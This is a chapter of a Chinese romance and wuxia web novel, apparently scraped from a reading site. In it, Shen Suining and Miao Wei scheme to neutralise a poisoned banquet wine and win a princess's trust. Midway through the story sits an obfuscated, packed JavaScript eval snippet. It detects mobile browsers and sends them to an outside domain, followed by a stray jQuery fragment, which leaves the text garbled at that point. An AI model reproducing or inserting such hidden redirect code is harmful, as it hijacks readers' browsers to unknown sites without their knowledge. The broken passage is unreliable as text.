16. 第16章
作品:《掉马后被赐婚给死对头》 第16章
沈岁宁回到房间的时候,沈凤羽早已经乔装成一名江湖剑客,提着武器准备出门。
“你要去干嘛?”沈岁宁有些迷茫。
“接着,”沈凤羽扔了把剑给沈岁宁,“昨儿你夜里翻来覆去的没睡着,我便猜到了这事你一定想管,只是碍于规定,不好说罢了。现在既然知道了那户人家是老爷与庄主的朋友,没了顾忌,我当然是义不容辞了。”
“……”沈岁宁接过剑抽出比划了两下,一时无言,可性子使然又说不出什么好话,憋了半天,“你打算直接去抢啊?”
“不行吗?”
沈岁宁:“……”
见沈岁宁没说话,苗薇问她:“宁宁是想智取?”
沈岁宁“嗯”了声,把剑放在桌上坐下,“抢这一次还有下次,想害人的人总归有的是法子。而且这里是京城,街头巷尾都有官兵捕快巡视,防卫森严,抢?倒是说得轻巧。”
“宁宁说得不错,这里毕竟不是咱们自己的地盘,”苗薇附和着,从自己的小箱子里拿出两个瓷瓶,“解药我已经配出来了。”
“这么快?”沈岁宁有些惊讶,不过转念想到苗薇的本事,又勾唇一笑,“我都忘了,只要是苗姐姐尝过的,便都能配出原方和解药来。”
“毕竟不是烈性药,方子也简单些。那毒服用之后,会让人恶心肚痛、呕吐晕厥,虽不会伤命,但若是宴席上的宾客都中了毒,那可就麻烦了,”苗薇告知沈岁宁解毒的法子,“宁宁若是有法子把解药倒进那几坛酒里,等个一时三刻,毒便会失去效用。”
沈岁宁点点头,把其中一个抵给沈凤羽,“以防万一,我俩都得拿着。”
“只不过这解药味苦,多多少少会影响酒的口感,”苗薇顿了顿,“而且它受冷便会失效,若是宴席上吃了冰食再饮酒,就算是有解药怕也无用了。”
沈岁宁和沈凤羽对视一眼,双双面露难色。
眼下正是夏季,宴席上少不得有消暑的冰食,那么多客人,总不能挨个劝他们不吃冰吧?
沈岁宁苦思冥想着,看向苗薇,突然想起来了什么,顿时茅塞顿开。
“有法子了,”沈岁宁笑起来,拉起苗薇的手握住,“不过,得要苗姐姐帮我。”
……
永安侯府。
长公主的贴身侍女明乐来报:“殿下,有一位盲人姑娘在门外求见,说是昨日受您恩惠。不知殿下……”
“让她进来吧。”
“是。”
明乐领着苗薇进到侯府,“殿下,人来了。”
闻言,苗薇立刻下跪行礼,“昨日在街上,幸得长公主殿下相帮,民女不胜感激。”
“起来吧,你昨日已经谢过,不必如此多礼,”长公主这些天忙着宴席的事情,神色略显疲惫,“举手之劳,无足挂齿,姑娘不必特地登门。”
苗薇双手将带来的谢礼奉上,“对殿下而言是举手之劳,可对民女而言,殿下是恩人。民女不才,不能给殿下什么实质性的贺礼,只有几颗亲自炼制的百草丹聊表心意,还请殿下收下吧。”
“百草丹?”长公主露出几分疑惑,“是什么?”
“是民女用上百种药草炼制而成的丹药,可解多种疑难杂症,也有解毒的奇效。”
“如此听来,倒是个宝贝,”长公主给明乐使了个眼色,“那本宫便收下了。”
明乐将苗薇手里的药瓶拿走,苗薇慢慢站起身,却没有要走的意思。
“姑娘还有何事?”
“民女惶恐。只是民女听殿下声音,似是累得很,不知殿下近来是否忧思过度,有食欲不振、心慌气短的症状?”
长公主笑了笑,“近来天热,本宫确实食欲减退,时常还觉得心口闷,尤其到了晚上,更是辗转反侧、难以入眠。太医院的御医已经为本宫调理过了,姑娘不必挂心。”
“这是气郁的缘故,须得从内调理,用药只能解其一。且是药三分毒,总归是治标不治本的。”
“那姑娘有其他办法?”
苗薇在永安侯府的时候,沈岁宁和沈凤羽躲在门外的巷子里,鬼鬼祟祟地探出两个头。
见苗薇半天没有动静,沈凤羽忧心忡忡地问:“少主,你这法子可行吗?苗姐姐不会出什么事吧?”
“应该没问题,我听说长公主和永安侯夫妻伉俪,自打永安侯离世,便忧思郁结,身子每况愈下。苗姐姐本就通医理,只要对症下药,便能赢取长公主的信任。”
“可是宫里有御医,长公主凭什么相信一个才见过一面的陌生女子?”
“只要苗姐姐见到长公主,”沈岁宁笃定,“只要看到了,长公主就一定会相信。”
沈凤羽正想问为什么,侯府门前,江玉楚驾着马车回来了。
两人一眼认出,立刻躲进墙内,但还是被敏锐的江玉楚察觉到了,“什么人!”
贺寒声掀起车帘,递了个眼神,江玉楚立刻叫了两个侍卫,追了去。
“少主,我引开他!你回去接应苗姐姐!”说完,沈凤羽立刻朝另一个方向跑去,沈岁宁则绕了个圈回到侯府附近。
没想到的是,贺寒声下了马车之后并没有立刻进门,被沈岁宁迎面撞见。
两人隔了一条街,四目相对,沈岁宁瞬间像老鼠见了猫一样,扭头就跑。
贺寒声立刻跟上。
五个人在巷子里追逐,有来有回,不相上下,甚至沈岁宁因为贺寒声追得实在太紧,根本没有机会易容脱身。
沈岁宁咬牙切齿,心想每次遇到这人,她就没好日子过。
无奈之下,沈岁宁从巷口转弯上了长街,街上人多,她边跑边从摊位上顺走一张面具戴上,一个急刹转身飞踢。
贺寒声没有反应过来,双臂挡了她两脚。
沈岁宁借力往相反的方向跃到半空,将一袋面粉扔到空中打散。
面粉漫天散开,瞬间有了烟雾弥漫的效果,呛得人眼睛都睁不开,等贺寒声回过神来时,人早就不见了。
贺寒声也不恋战,立刻折返回府。
侯府中戒备森严,又有兵力,无人敢闯,贺寒声回府后,看到江玉楚也一无所获地回来了,他心里一紧,立刻去了长公主那里。
这时,苗薇刚给长公主推拿了几处穴位,一向气郁的长公主顿时觉得神清气爽,连连夸赞。
苗薇跪坐在旁,“能为殿下分忧,是民女的福气。若殿下觉得有用,可以每日这样推拿一炷香的时间,民女刚刚已将穴位和手法都教给了几位姐姐。若殿下需要,也可以随时传唤民女,民女愿时时为殿下效劳。除此之外,殿下要保持心情舒畅,在饮食上也要有所忌口,尤其要少饮酒贪凉。”
长公主的确觉得身子的确轻盈了许多,心情也跟着畅快了,“姑娘有心了。明乐,把我房里的冰都搬远些。”
贺寒声进来时,看到苗薇也在,他向长公主行了礼,“母亲。”
长公主点头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604977|171892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“阿声回来了。”
见状,苗薇站起身,“那民女就先告退了。”
苗薇往后退了几步,像是想到了什么,又强调了一遍:“殿下,听闻殿下素日里喜爱独自小酌,民女多嘴一句,酒若与冰同食,对身子的伤害最大了。”
苗薇走后,贺寒声终于问起,“母亲可是身子又有不适?”
“老毛病罢了,刚刚那位姑娘登门向我致谢,我看她通些医理,虽然看不见,但手也利索,便让她试了一下,”长公主深吸一口气又吐出,笑,“果然舒坦了不少。”
“母亲身体康健,本是好事。只是往后还是得小心些才好,这种要贴身伺候的人,一定得先摸清底细。”贺寒声提醒。
长公主眼神闪躲了一下,“知道了。我看那位苗姑娘身量纤纤,说话也温温柔柔的,倒不像个有心思的,这才让她进了门,日后除了你亲自安排的,母亲谁也不信。”
“母亲刚刚说……她姓什么?”
“苗,”长公主方才与苗薇闲聊时问过了,正好回答,“名字也好记,叫翠花。”
……
苗薇从侯府出来后,往东走了好一段,才终于碰上接应她的沈岁宁。
“怎么样?”
“该说的我都说了,不知是否能成,”苗薇将腰上的半枚玄武纹玉佩取下来还给沈岁宁,“我听了你的,将老爷的这枚玉佩别在最显眼的位置,近身时长公主还问了一句,想来我说的那些话,她是会往心里去的。”
沈岁宁玉佩拿在掌中,轻吐一口气,“长公主若是信了,最多只能确保她本人在那日不会吃冰的东西,却无法保证现场不会有。”
苗薇点头附和,“只要现场有,就无法保证其他人不会食用。所以兜了一大圈,最终能保下的只有长公主一人罢了。”
沈岁宁沉思片刻,正想要说什么的时候,便察觉到身后似乎有人跟来,她看了苗薇一眼后,立刻藏进了暗处。
“苗姑娘!”追上来的江玉楚气还未喘匀,苗薇听到声音,微笑着问道:“江公子还有何事?”
江玉楚打量苗薇许久,她的容颜的确与三年前在杭州城见到的“沈堂主”十分相像,可又明显能分辨出并非同一人,他想到自家主子的嘱咐,站直了身子,问:“听姑娘的口音,不像是北方人。姑娘是什么时候来华都的?你家中可还有兄弟姊妹?”
苗薇顿了顿,随即轻轻摇头,“我是个孤儿,父亲早年间死于战乱,从小与母亲相依为命。不久前母亲也故去了,我一个人无依无靠,又双目失明,这才来华都投奔这边的一个亲戚。”
她话说得滴水不露,明显是早已准备好的措辞。
江玉楚继续追问:“既然有亲戚照拂,为何姑娘那日会独自一人在街上,受人欺凌?”
“公子这话说的,再好的亲戚总也有自己的家人要安置照顾,能收容我、给我一口饭吃已是恩重如山,总不能奢望人家日日寸步不离地守着我吧?”苗薇好笑反问。
江玉楚被问住,一时无言以对。
是啊,若眼前这人当真是个无依无靠的孤儿,江玉楚问这话已是冒犯。
可如此相像的容貌、一模一样的姓名,绝不会是巧合那么简单,迟疑片刻后,江玉楚压低声音,单刀直入道:“漱玉山庄初来华都,若有什么新任务与永安侯府有关,我们大可以配合。但侯爷并不希望将长公主牵扯进来,希望姑娘能转告给你们沈堂主,无论什么条件,我们侯爷愿意同她当面谈。”